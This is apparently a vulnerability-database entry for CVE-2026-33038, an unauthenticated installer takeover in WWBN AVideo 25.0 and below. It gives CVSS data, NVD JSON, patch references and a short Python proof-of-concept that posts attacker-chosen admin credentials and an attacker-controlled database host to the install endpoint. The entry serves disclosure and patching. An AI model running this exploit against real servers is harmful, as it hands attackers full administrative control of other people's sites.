Security Vulnerability Report
中文
CVE-2026-33038 CVSS 8.1 HIGH

CVE-2026-33038

Published: 2026-03-20 06:16:12
Last Modified: 2026-03-23 16:24:08

Description

WWBN AVideo is an open source video platform. Versions 25.0 and below are vulnerable to unauthenticated application takeover through the install/checkConfiguration.php endpoint. install/checkConfiguration.php performs full application initialization: database setup, admin account creation, and configuration file write, all from an unauthenticated POST input. The only guard is checking whether videos/configuration.php already exists. On uninitialized deployments, any remote attacker can complete the installation with attacker-controlled credentials and an attacker-controlled database, gaining full administrative access. This issue has been fixed in version 26.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE
WWBN AVideo <= 25.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable endpoint target_url = "http://target.com/install/checkConfiguration.php" # Attacker controlled payload for installation # This data includes the admin credentials and database configuration payload = { "adminName": "hacker", "adminPass": "StrongHackerPass123!", "adminPassConfirm": "StrongHackerPass123!", "host": "attacker-controlled-db.com", "user": "dbuser", "pass": "dbpass", "dbname": "avideo_db", "createDb": 1 } try: # Send POST request to trigger the installation response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Successfully sent installation payload.") print("[+] Check if the configuration file was created and admin account was set.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33038", "sourceIdentifier": "[email protected]", "published": "2026-03-20T06:16:11.983", "lastModified": "2026-03-23T16:24:08.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. Versions 25.0 and below are vulnerable to unauthenticated application takeover through the install/checkConfiguration.php endpoint. install/checkConfiguration.php performs full application initialization: database setup, admin account creation, and configuration file write, all from an unauthenticated POST input. The only guard is checking whether videos/configuration.php already exists. On uninitialized deployments, any remote attacker can complete the installation with attacker-controlled credentials and an attacker-controlled database, gaining full administrative access. This issue has been fixed in version 26.0."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. Las versiones 25.0 e inferiores son vulnerables a una toma de control de aplicación no autenticada a través del endpoint install/checkConfiguration.php. install/checkConfiguration.php realiza la inicialización completa de la aplicación: configuración de la base de datos, creación de cuenta de administrador y escritura de archivo de configuración, todo desde una entrada POST no autenticada. La única protección es verificar si videos/configuration.php ya existe. En despliegues no inicializados, cualquier atacante remoto puede completar la instalación con credenciales controladas por el atacante y una base de datos controlada por el atacante, obteniendo acceso administrativo completo. Este problema ha sido solucionado en la versión 26.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "B468F0CE-E5E7-4607-BD15-B5763C47493E"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/b3fa7869dcb935c8ab5c001a88dc29d2f92cf8e1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2f9h-23f7-8gcx", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2f9h-23f7-8gcx", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}